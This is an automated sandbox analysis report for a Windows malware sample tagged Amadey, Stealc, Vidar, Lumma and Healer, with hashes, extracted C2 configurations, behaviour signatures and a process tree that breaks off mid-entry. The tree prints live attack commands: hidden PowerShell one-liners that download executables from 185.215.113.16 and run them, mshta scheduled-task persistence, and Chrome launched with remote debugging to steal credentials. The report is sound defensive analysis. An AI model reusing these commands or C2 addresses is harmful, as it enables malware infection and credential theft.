Overview

overview

10

Static

static

3

ffa05200d7...41.exe

windows7-x64

10

ffa05200d7...41.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    18-02-2025 06:38

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ffa05200d7a741017eb476eef981b041.exe

  • Size

    2.1MB

  • MD5

    ffa05200d7a741017eb476eef981b041

  • SHA1

    2272ca724539b2e2bef16f3017c1e1e3db9e9485

  • SHA256

    2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001

  • SHA512

    55be906ff0385337b94ea090d1ccb3c4fd0e7d813adca5d6eccd2cfc40c1cbcf3f68a981cf0f97e457737a0b1b57745870e8ded6e58a6834556cd0bfcb8531a9

  • SSDEEP

    49152:1CYg6rMK/aiLLsFf8lTlcZuY+1HSkB1SOpIBC8MiH:i6rbaiEiWH+YklIBC8MiH

Score
10/10
amadeyhealerlummastealcvidar9c9aa5defaultbootkitcredential_accessdefense_evasiondiscoverydropperevasionexecutionpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

stealc

Botnet

default

C2

http://ecozessentials.com

Attributes
  • url_path

    /e6cb1c8fc7cd1659.php

Extracted

Family

vidar

C2

https://t.me/g02f04

https://steamcommunity.com/profiles/76561199828130190
Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0

Extracted

Family

lumma

C2

https://mercharena.biz/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 12 IoCs
    stealer
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
    defense_evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 22 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 30 IoCs
  • Uses browser remote debugging 2 TTPs 8 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 44 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 50 IoCs
  • Identifies Wine through registry keys 2 TTPs 22 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • AutoIT Executable 3 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 22 IoCs
  • Suspicious use of SetThreadContext 12 IoCs
  • Drops file in Windows directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 11 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 12 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 8 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\ffa05200d7a741017eb476eef981b041.exe
    "C:\Users\Admin\AppData\Local\Temp\ffa05200d7a741017eb476eef981b041.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2276
    • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Downloads MZ/PE file
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2976
      • C:\Users\Admin\AppData\Local\Temp\1078317001\d2YQIJa.exe
        "C:\Users\Admin\AppData\Local\Temp\1078317001\d2YQIJa.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2016
      • C:\Users\Admin\AppData\Local\Temp\1078482001\sHN20me.exe
        "C:\Users\Admin\AppData\Local\Temp\1078482001\sHN20me.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2200
      • C:\Users\Admin\AppData\Local\Temp\1081729001\spoDnGT.exe
        "C:\Users\Admin\AppData\Local\Temp\1081729001\spoDnGT.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        PID:1204
      • C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe
        "C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2052
        • C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe
          "C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe"
          4⤵
          • Executes dropped EXE
          PID:1008
        • C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe
          "C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe"
          4⤵
          • Executes dropped EXE
          PID:2320
        • C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe
          "C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2136
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 572
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:1512
      • C:\Users\Admin\AppData\Local\Temp\1083218001\qFqSpAp.exe
        "C:\Users\Admin\AppData\Local\Temp\1083218001\qFqSpAp.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1708
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 816
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:2848
      • C:\Users\Admin\AppData\Local\Temp\1083537001\m5UP2Yj.exe
        "C:\Users\Admin\AppData\Local\Temp\1083537001\m5UP2Yj.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:1624
      • C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe
        "C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1028
        • C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe
          "C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2308
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1028 -s 556
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:2120
      • C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe
        "C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        PID:2200
        • C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe
          "C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe"
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1104
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
            5⤵
            • Uses browser remote debugging
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:1804
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef69f9758,0x7fef69f9768,0x7fef69f9778
              6⤵
                PID:2132
              • C:\Windows\system32\ctfmon.exe
                ctfmon.exe
                6⤵
                  PID:3044
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1172 --field-trial-handle=1312,i,14296489957372876093,2286287002251174666,131072 /prefetch:2
                  6⤵
                    PID:2104
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1496 --field-trial-handle=1312,i,14296489957372876093,2286287002251174666,131072 /prefetch:8
                    6⤵
                      PID:1928
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1588 --field-trial-handle=1312,i,14296489957372876093,2286287002251174666,131072 /prefetch:8
                      6⤵
                        PID:1780
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2256 --field-trial-handle=1312,i,14296489957372876093,2286287002251174666,131072 /prefetch:1
                        6⤵
                        • Uses browser remote debugging
                        PID:2960
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2264 --field-trial-handle=1312,i,14296489957372876093,2286287002251174666,131072 /prefetch:1
                        6⤵
                        • Uses browser remote debugging
                        PID:2888
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1332 --field-trial-handle=1312,i,14296489957372876093,2286287002251174666,131072 /prefetch:2
                        6⤵
                          PID:2376
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1328 --field-trial-handle=1312,i,14296489957372876093,2286287002251174666,131072 /prefetch:1
                          6⤵
                          • Uses browser remote debugging
                          PID:2192
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=1324 --field-trial-handle=1312,i,14296489957372876093,2286287002251174666,131072 /prefetch:8
                          6⤵
                            PID:1148
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3572 --field-trial-handle=1312,i,14296489957372876093,2286287002251174666,131072 /prefetch:8
                            6⤵
                              PID:2204
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3696 --field-trial-handle=1312,i,14296489957372876093,2286287002251174666,131072 /prefetch:8
                              6⤵
                                PID:1148
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\ozm7y" & exit
                              5⤵
                              • System Location Discovery: System Language Discovery
                              PID:2384
                              • C:\Windows\SysWOW64\timeout.exe
                                timeout /t 10
                                6⤵
                                • Delays execution with timeout.exe
                                PID:2960
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 556
                            4⤵
                            • Loads dropped DLL
                            • Program crash
                            PID:1064
                        • C:\Users\Admin\AppData\Local\Temp\1085378101\2a65c84db9.exe
                          "C:\Users\Admin\AppData\Local\Temp\1085378101\2a65c84db9.exe"
                          3⤵
                          • Executes dropped EXE
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:544
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c schtasks /create /tn n6OPumaknup /tr "mshta C:\Users\Admin\AppData\Local\Temp\KI30j0Ow9.hta" /sc minute /mo 25 /ru "Admin" /f
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:2268
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /create /tn n6OPumaknup /tr "mshta C:\Users\Admin\AppData\Local\Temp\KI30j0Ow9.hta" /sc minute /mo 25 /ru "Admin" /f
                              5⤵
                              • System Location Discovery: System Language Discovery
                              • Scheduled Task/Job: Scheduled Task
                              PID:3068
                          • C:\Windows\SysWOW64\mshta.exe
                            mshta C:\Users\Admin\AppData\Local\Temp\KI30j0Ow9.hta
                            4⤵
                            • Modifies Internet Explorer settings
                            PID:2716
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'JBF8V0GFE0DMWKED6ITW8NKUJQPG6JEO.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
                              5⤵
                              • Blocklisted process makes network request
                              • Command and Scripting Interpreter: PowerShell
                              • Downloads MZ/PE file
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2804
                              • C:\Users\Admin\AppData\Local\TempJBF8V0GFE0DMWKED6ITW8NKUJQPG6JEO.EXE
                                "C:\Users\Admin\AppData\Local\TempJBF8V0GFE0DMWKED6ITW8NKUJQPG6JEO.EXE"
                                6⤵
                                • Modifies Windows Defender DisableAntiSpyware settings
                                • Modifies Windows Defender Real-time Protection settings
                                • Modifies Windows Defender TamperProtection settings
                                • Modifies Windows Defender notification settings
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Windows security modification
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2872
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\1085379021\am_no.cmd" "
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:2820
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1085379021\am_no.cmd" any_word
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:2588
                            • C:\Windows\SysWOW64\timeout.exe
                              timeout /t 2
                              5⤵
                              • System Location Discovery: System Language Discovery
                              • Delays execution with timeout.exe
                              PID:2616
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                              5⤵
                                PID:852
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                  6⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:816
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                5⤵
                                  PID:2744
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                    6⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:352
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                  5⤵
                                    PID:1444
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2724
                                  • C:\Windows\SysWOW64\schtasks.exe
                                    schtasks /create /tn "EHiYNma5iCb" /tr "mshta \"C:\Temp\6yNVuF9L0.hta\"" /sc minute /mo 25 /ru "Admin" /f
                                    5⤵
                                    • System Location Discovery: System Language Discovery
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:1684
                                  • C:\Windows\SysWOW64\mshta.exe
                                    mshta "C:\Temp\6yNVuF9L0.hta"
                                    5⤵
                                    • System Location Discovery: System Language Discovery
                                    • Modifies Internet Explorer settings
                                    PID:2288
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
                                      6⤵
                                      • Blocklisted process makes network request
                                      • Command and Scripting Interpreter: PowerShell
                                      • Downloads MZ/PE file
                                      • Loads dropped DLL
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2592
                                      • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                                        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                                        7⤵
                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                        • Checks BIOS information in registry
                                        • Executes dropped EXE
                                        • Identifies Wine through registry keys
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1808
                              • C:\Users\Admin\AppData\Local\Temp\1085400001\d5e61c8efb.exe
                                "C:\Users\Admin\AppData\Local\Temp\1085400001\d5e61c8efb.exe"
                                3⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1716
                              • C:\Users\Admin\AppData\Local\Temp\1085401001\63b19b2d90.exe
                                "C:\Users\Admin\AppData\Local\Temp\1085401001\63b19b2d90.exe"
                                3⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2092
                              • C:\Users\Admin\AppData\Local\Temp\1085402001\ed048f6125.exe
                                "C:\Users\Admin\AppData\Local\Temp\1085402001\ed048f6125.exe"
                                3⤵
                                • Enumerates VirtualBox registry keys
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • System Location Discovery: System Language Discovery
                                • Checks processor information in registry
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2284
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
                                  4⤵
                                  • Uses browser remote debugging
                                  • Enumerates system info in registry
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of FindShellTrayWindow
                                  PID:2472
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6519758,0x7fef6519768,0x7fef6519778
                                    5⤵
                                      PID:2024
                                    • C:\Windows\system32\ctfmon.exe
                                      ctfmon.exe
                                      5⤵
                                        PID:2528
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1140 --field-trial-handle=1276,i,1012029245434156714,2613325163860259053,131072 /prefetch:2
                                        5⤵
                                          PID:1544
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1480 --field-trial-handle=1276,i,1012029245434156714,2613325163860259053,131072 /prefetch:8
                                          5⤵
                                            PID:2440
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1560 --field-trial-handle=1276,i,1012029245434156714,2613325163860259053,131072 /prefetch:8
                                            5⤵
                                              PID:2952
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
